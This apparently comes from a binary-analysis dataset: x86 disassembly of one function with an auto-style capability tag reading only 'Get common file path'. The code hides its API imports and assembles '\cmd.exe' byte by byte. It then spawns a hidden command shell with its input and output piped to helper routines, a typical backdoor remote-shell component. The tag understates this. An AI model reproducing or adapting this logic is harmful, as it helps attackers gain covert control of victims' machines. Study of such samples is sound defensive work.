Function at 0x10008cad
Capabilities:
Get common file path

Disassembly:
mov eax, 0x1001206c
call fcn.10011ae4
sub esp, 0x180
push ebx
push esi
push edi
mov esi, ecx
push dword [ebp + 8]
mov dword [ebp - 0x44], esi
call fcn.1000731b
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor ebx, ebx
push str.GetStartupInfoA
push str.KERNEL32.dll
mov dword [ebp - 4], ebx
mov dword [esi], 0x100133ac
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CloseHandle
push str.kernel32.dll
mov dword [ebp - 0x40], eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
xor eax, eax
lea edi, [ebp - 0x28]
push 0x10
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x84]
mov dword [ebp - 0x88], ebx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x38]
mov dword [ebp - 0x3c], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x18b]
mov byte [ebp - 0x18c], bl
mov dword [esi + 0x10], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [esi + 0x1c]
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], ebx
mov dword [ebp - 0x2c], 0xc
mov dword [edi], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], 1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push str.CreatePipe
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x2c]
push ebx
push eax
lea eax, [esi + 0x10]
push edi
push eax
call dword [ebp - 0x20]
test eax, eax
jne 0x10008db0
mov eax, dword [esi + 0x10]
cmp eax, ebx
je 0x10008da3
push eax
call dword [ebp - 0x10]
mov edi, dword [edi]
cmp edi, ebx
je 0x10008f12
push edi
jmp 0x10008ddb
lea eax, [ebp - 0x2c]
push ebx
push eax
lea eax, [esi + 0x14]
push eax
lea eax, [esi + 0x18]
push eax
call dword [ebp - 0x20]
test eax, eax
jne 0x10008de3
mov eax, dword [esi + 0x14]
cmp eax, ebx
je 0x10008dcf
push eax
call dword [ebp - 0x10]
mov eax, dword [esi + 0x18]
cmp eax, ebx
je 0x10008f12
push eax
call dword [ebp - 0x10]
jmp 0x10008f12
push 0x44
lea eax, [ebp - 0x88]
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x3c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x88]
push eax
call dword [ebp - 0x40]
mov eax, dword [esi + 0x18]
push 0x104
mov dword [ebp - 0x50], eax
mov eax, dword [edi]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x18c]
mov dword [ebp - 0x88], 0x44
push eax
mov word [ebp - 0x58], bx
mov dword [ebp - 0x5c], 0x101
mov byte [ebp - 0x1c], 0x5c
mov byte [ebp - 0x1b], 0x63
mov byte [ebp - 0x1a], 0x6d
mov byte [ebp - 0x19], 0x64
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x78
mov byte [ebp - 0x15], 0x65
mov byte [ebp - 0x14], bl
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18c]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push str.CreateProcessA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x88]
push ecx
push ebx
push ebx
push 0x20
push 1
push ebx
push ebx
lea ecx, [ebp - 0x18c]
push ebx
push ecx
call eax
test eax, eax
jne 0x10008ec5
push dword [esi + 0x10]
mov ebx, dword [ebp - 0x10]
call ebx
push dword [esi + 0x14]
call ebx
push dword [esi + 0x18]
call ebx
push dword [edi]
call ebx
jmp 0x10008f12
mov eax, dword [ebp - 0x3c]
push 1
mov dword [esi + 0x20], eax
mov eax, dword [ebp - 0x38]
mov dword [esi + 0x24], eax
lea eax, [ebp + 0xb]
push eax
mov ecx, esi
mov byte [ebp + 0xb], 0x82
call fcn.10007376
mov ecx, esi
call fcn.100073dc
push ebx
push ebx
push ebx
push esi
push 0x100090d0
push ebx
push ebx
call fcn.1000b2c0
push ebx
push ebx
push ebx
push esi
push 0x100091d1
push ebx
push ebx
mov dword [esi + 0x28], eax
call fcn.1000b2c0
add esp, 0x38
mov dword [esi + 0x2c], eax
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4